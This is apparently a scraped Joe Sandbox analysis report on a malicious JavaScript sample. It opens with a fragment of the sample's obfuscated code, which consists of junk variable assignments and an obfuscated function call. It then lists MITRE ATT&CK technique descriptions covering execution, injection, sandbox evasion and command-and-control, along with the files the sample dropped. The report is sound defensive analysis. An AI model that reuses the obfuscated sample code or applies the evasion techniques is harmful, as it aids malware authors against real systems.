1402	tgjndv = "x";
1403	tgjndv = "c";
1404	tgjndv = "P";
1405	rydicv = "H";
1406	rydicv = "g";
1407	rydicv = "r";
1408	rydicv = "A";
1409	rydicv = "q";
1410	rydicv = "f";
1411	rydicv = "I";
1412	rydicv = "C";
1413	rydicv = "P";
1414	rydicv = "l";
1415	rydicv = "D";
1416	rydicv = "l";
1417	rydicv = "j";
1418	rydicv = "a";
1419	rydicv = "Y";
1420	rydicv = "d";
1421	rydicv = "c";
1422	rydicv = "P";
1423	rydicv = "x";
1424	rydicv = "V";
1425	rydicv = "N";
1426	miftqxeki ( );	miftqxeki() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 11248212732259326130.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5469ec.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b50ac284-a61a-46a9-b290-d93e90d94d6a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d8bbaab5-4c03-41d5-a568-ffc1ac768c17.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6468

Windows Analysis Report
11248212732259326130.js